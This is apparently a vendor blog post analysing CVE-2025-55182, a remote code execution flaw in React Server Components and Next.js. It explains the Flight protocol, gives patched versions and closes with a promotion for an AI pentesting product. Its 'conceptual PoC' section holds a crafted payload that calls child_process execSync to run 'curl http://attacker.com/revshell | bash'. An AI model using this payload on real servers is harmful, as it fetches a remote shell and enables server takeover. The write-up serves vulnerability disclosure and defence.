Critical Deep Dive: CVE-2025-55182 PoC – The RCE Inside React’s Architecture

Introduction: The Collapse of the Client-Server Boundary

Late 2025 marked a paradigm shift in web security. For security architects and penetration testers, CVE-2025-55182 (and its Next.js variant CVE-2025-66478) represents one of the most sophisticated attack vectors in recent history.

This is not a simple sanitization error. It is a fundamental flaw deep within the “Server-Side Rendering (RSC)” logic. It allows unauthenticated attackers to exploit the React/Next.js Server Components Remote Code Execution Vulnerability by manipulating the proprietary communication protocol used by the framework, bypassing traditional defenses to execute arbitrary code on the server.

This article strips away the marketing fluff to provide a binary-level analysis of the vulnerability for elite security engineers.

The Core Mechanism: Deconstructing the “Flight” Protocol

To exploit CVE-2025-55182, one must understand how React 19 and Next.js 14+ communicate. Unlike traditional REST/GraphQL, RSC uses a streaming text format known as the “Flight” Protocol.

The Flight Payload Structure

When you inspect network traffic on a modern Next.js app, the RSC Payload looks cryptic but follows a strict syntax:

JavaScript

// Typical Flight Protocol Fragment 1:I["./src/components/ClientComponent.js",["chunks/main.js"],"default"] 2:{"props":{"title":"Dashboard","user":"$Sreact.suspense"},"children":"$1"}

• 1:I: Denotes an Import. It tells the client/server to load a specific module.
• $: Denotes a Reference. $1 refers back to the module defined in line 1.
• $S: Denotes special React Symbols.

Root Cause: Blind Deserialization

The heart of CVE-2025-55182 lies in the server’s handling of incoming Client-to-Server messages (Server Actions). The React Server DOM implementation trusts the incoming Flight stream implicitly.

When a client triggers a Server Action, it serializes arguments into the Flight format. The server receives this and calls internal methods (like resolveServerReference) to deserialize the stream.

The Fatal Flaw:

The deserializer fails to validate whether the module path in the I (Import) instruction is whitelisted. This allows an attacker to change a benign path like ./src/button.js to an internal Node.js core module (e.g., child_process) or any other library present in node_modules.

Vulnerability Reproduction & Analysis (Conceptual PoC)

Disclaimer: This section is for educational research and defensive purposes only.

A sophisticated attack chain proceeds as follows:

Step 1: Reconnaissance

The attacker identifies RSC endpoints, often observing requests to /_next/static/chunks/app/page.js or analyzing the Next-Action headers in POST requests.

Step 2: Weaponizing the Payload

The attacker crafts a custom Flight stream. Instead of legitimate UI props, they inject a Gadget Chain.

Payload Logic:

HTTP

`POST /v1/action HTTP/1.1 Content-Type: text/x-component Next-Action: <Vulnerable_Action_ID>

// Pseudocode representation of the injection 1:I[“node:child_process”, [], “execSync”] 2:{“command”: “curl http://attacker.com/revshell | bash”, “args”: “$1”}`

Step 3: Execution

1. The server deserializes I["node:child_process"].
2. It executes require("child_process") in the server context.
3. It invokes execSync with the attacker’s arguments.
4. RCE Achieved.

Why Traditional Security Tools (WAF/DAST) Fail

For the hardened security engineer, detecting this is a nightmare.

1. Protocol Obscurity: WAFs see Flight payloads as unstructured text. Standard SQLi or XSS regex rules will not trigger on a module import string like 1:I.
2. Default Exposure: Even if a developer uses Next.js only for static generation, the inclusion of the RSC library often exposes the vulnerable deserialization endpoints by default.

This is a textbook example of Supply Chain Vulnerability—the flaw is in the framework, not your business logic.

Advanced Defense & The Role of Agentic AI

Immediate Remediation

Patching is mandatory. Do not rely on “sanitization” middleware, as the protocol is too complex to parse reliably with regex.

• React: Update to 19.2.1.
• Next.js: Update to 14.2.21, 15.1.2, or the latest Canary build.

The Future of Pen-Testing: Agentic AI

Facing vulnerabilities like CVE-2025-55182 that exploit proprietary protocol logic, traditional scanners are obsolete. They cannot “understand” Flight, nor can they construct logically valid but malicious streams.

This is where Penligent.ai creates a new category of defense. As a platform powered by Agentic AI, Penligent offers capabilities that human teams struggle to scale:

• Protocol Semantic Understanding: Penligent’s AI agents analyze the React Flight specification dynamically. They understand the syntax of module references versus data props.
• Adaptive Logic Fuzzing: The agents generate thousands of mutated payloads, specifically probing the deserializer’s boundary conditions to find unauthorized module access patterns.
• Automated Verification: Penligent goes beyond flagging a “potential issue.” It attempts to construct safe, non-destructive proof-of-concept chains to verify if RCE is actually possible, eliminating false positives.

For enterprises protecting critical infrastructure, deploying Penligent.ai provides continuous, intelligent red-teaming capabilities that evolve faster than the attackers.

Conclusion

CVE-2025-55182 is more than a bug; it is a consequence of the blurring lines between client and server in modern web development. As we push for higher performance via RSC, the attack surface expands into the data serialization layer.

For security engineers, mastering the Flight protocol is now a requirement. Audit your dependencies, patch immediately, and consider AI-driven security validation to stay ahead.

Authority References:

• GitHub Advisory: GHSA-9qr9-h5gf-34mp
• React Official Blog: Security Advisory
• NVD: CVE-2025-55182 Detail